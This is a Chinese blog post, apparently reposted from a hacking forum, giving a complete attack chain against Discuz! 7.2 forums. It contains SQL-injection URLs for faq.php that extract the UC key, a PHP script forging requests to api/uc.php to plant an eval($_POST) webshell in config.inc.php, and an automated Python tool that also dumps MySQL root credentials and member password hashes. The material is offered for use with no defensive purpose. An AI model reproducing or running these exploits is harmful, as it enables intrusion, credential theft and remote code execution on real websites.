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Dz7.2 从获取uc key到getshell

Python admin 9125浏览 0评论

0x01
下午在群里看到的 问下朋友大概 然后用不生不熟的sqlmap在那跑

表能跑的出 列就GG了 然后没辙

晚上跑各大论坛逛了遍果然大神多

就慢慢的研究下了下 看了pt0n大牛的分析文 真心感叹这洞 呵呵-。-

0x02
获取uc key

exp:

faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23

1

没完整取值只取了62位

我们再取一次

exp:

faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,63,60) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23

2

那么获取到的uc key就是

d77978Sbq4b39bVccfK0J9B0K3x792ieH39dNbY8s8l79dB3z63fp2t563rdm6P4

和shell里的对比下
3
0x03
利用uc key getshell

<?php
    $timestamp = time()+10*3600;
    $host="bbs.xxxxxx.com";
    $uc_key="A1v8Z5Z7feZdmfcd72J5C5V8hc8dM4F6V2g0h5ofXdS6jcm1C78bZede39z51610";
    $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
    $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
 <item id="UC_API">xxx\');eval($_POST[cmd]);//</item>
</root>';
    $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
 <item id="UC_API">aaa</item>
</root>';
    $html1 = send($cmd1);
    echo $html1;
    $html2 = send($cmd2);
    echo $html2;
    
    
function send($cmd){
    global $host,$code;
    $message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: ".$host."\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: ".$host."\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
    
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
    
    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
    
    return $resp;
}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
                return '';
            }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }

}
?>

修改下

$host=”bbs.xxxxxx.com”;
$uc_key=”xxx”

放在php.exe的环境里直接 getshell

成功会显示

1
1
0

4

0x04
一句话地址
一句话的地址是http://xxxx.tw/config.inc.php 密码cmd
enjoy it!

转自:http://sb.f4ck.org/thread-19239-1-1.html

————————————————————————————————————————–

ps:上面获取shell的步骤有点麻烦,首先要通过注入语句获取uc_key,然后利用uc_key获取webshell。下面的代码可以自动完成上面步骤来获取webshell。

Python Discuz 7.2 faq.php sql注入漏洞全自动利用工具

E0-87BD-4E6F-A92A-A821652A3BB9

exp:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf_8 -*- 
# author iswin 
import sys
import hashlib
import time
import math
import base64
import urllib2 
import urllib
import re

def sendRequest(url,para):
        try:
                data = urllib.urlencode(para)
                req=urllib2.Request(url,data)
                res=urllib2.urlopen(req,timeout=20).read()
        except Exception, e:
                print 'Exploit Failed!\n%s'%(e)
                exit(0);
        return res

def getTablePrefix(url):
        print 'Start GetTablePrefix...'
        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
        res=sendRequest(url,para);
        pre=re.findall("Duplicate entry '(.*?)'",res);
        if len(pre)==0:
                print 'Exploit Failed!'
                exit(0);
        table_pre=pre[0][:len(pre[0])-1].decode('hex')
        table_pre=table_pre[0:table_pre.index('_')]
        print 'Table_pre:%s'%(table_pre)
        return table_pre

def getCurrentUser(url):
        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
        res=sendRequest(url,para)
        pre=re.findall("Duplicate entry '(.*?)'",res)
        if len(pre)==0:
                print 'Exploit Failed!'
                exit(0);
        table_pre=pre[0][:len(pre[0])-1]
        print 'Current User:%s'%(table_pre)
        return table_pre

def getUcKey(url):
        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
        para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
        res=sendRequest(url,para);
        res1=sendRequest(url,para1);
        key1=re.findall("Duplicate entry '(.*?)'",res)
        key2=re.findall("Duplicate entry '(.*?)'",res1)
        if len(key1)==0:
                print 'Get Uc_Key Failed!'
                return ''
        key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]
        print 'uc_key:%s'%(key)
        return key

def getRootUser(url):
        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
        res=sendRequest(url,para);
        pre=re.findall("Duplicate entry '(.*?)'",res)
        if len(pre)==0:
                print 'Exploit Failed!'
                exit(0);
        table_pre=pre[0][:len(pre[0])-1].split(' ')
        print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])

def dumpData(url,table_prefix,count):
        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}
        res=sendRequest(url,para);
        datas=re.findall("Duplicate entry '(.*?)'",res)
        if len(datas)==0:
                print 'Exploit Failed!'
                exit(0)
        cleandata=datas[0][:len(datas[0])-1]
        info=cleandata.split(' ')
        print 'user:%s pass:%s'%(info[0],info[1])

def microtime(get_as_float = False) :
    if get_as_float:
        return time.time()
    else:
        return '%.8f %d' % math.modf(time.time())
 
def get_authcode(string, key = ''):
    ckey_length = 4
    key = hashlib.md5(key).hexdigest()
    keya = hashlib.md5(key[0:16]).hexdigest()
    keyb = hashlib.md5(key[16:32]).hexdigest()
    keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
    cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() 
    key_length = len(cryptkey)
    string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
    string_length = len(string)
    result = ''
    box = range(0, 256)
    rndkey = dict()
    for i in range(0,256):
        rndkey[i] = ord(cryptkey[i % key_length])
    j=0
    for i in range(0,256):
        j = (j + box[i] + rndkey[i]) % 256
        tmp = box[i]
        box[i] = box[j]
        box[j] = tmp
    a=0
    j=0
    for i in range(0,string_length):
        a = (a + 1) % 256
        j = (j + box[a]) % 256
        tmp = box[a]
        box[a] = box[j]
        box[j] = tmp
        result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
    return keyc + base64.b64encode(result).replace('=', '')
 
def get_shell(url,key,host):
    headers={'Accept-Language':'zh-cn',
    'Content-Type':'application/x-www-form-urlencoded',
    'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
    'Referer':url
    }
    tm = time.time()+10*3600
    tm="time=%d&action=updateapps" %tm
    code = urllib.quote(get_authcode(tm,key))
    url=url+"?code="+code
    data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
            <root>
            <item id="UC_API">http://xxx\');eval($_POST[3]);//</item>
            </root>'''
    try:
        req=urllib2.Request(url,data=data1,headers=headers)
        ret=urllib2.urlopen(req)
    except:
        return "Exploit Falied"
    data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
            <root>
            <item id="UC_API">http://aaa</item>
            </root>'''
    try:
        req=urllib2.Request(url,data=data2,headers=headers)
        ret=urllib2.urlopen(req)
    except:
        return "error"

    try:
            req=urllib2.Request(host+'/config.inc.php')
            res=urllib2.urlopen(req,timeout=20).read()
    except Exception, e:
            print 'GetWebshell Failed,%s'%(e)
             return
    print "webshell:"+host+"/config.inc.php,password:3"

if __name__ == '__main__':
        print 'DZ7.x Exp Code By iswin'
        if len(sys.argv)<3:
                print 'DZ7.x Exp Code By iswin\nusage:python dz7.py http://www.iswin.org 10'
                exit(0)
        url=sys.argv[1]+'/faq.php'
        count=int(sys.argv[2])
        user=getCurrentUser(url)
        if user.startswith('root@'):
                getRootUser(url)
        uc_key=getUcKey(url)
        if len(uc_key)==64:
                print 'Start GetWebshell...'
                get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])
        tb_pre=getTablePrefix(url)
        print 'Start DumpData...'
        for x in xrange(0,count):
                dumpData(url,tb_pre,x)

 

转载请注明:jinglingshu的博客 » Dz7.2 从获取uc key到getshell


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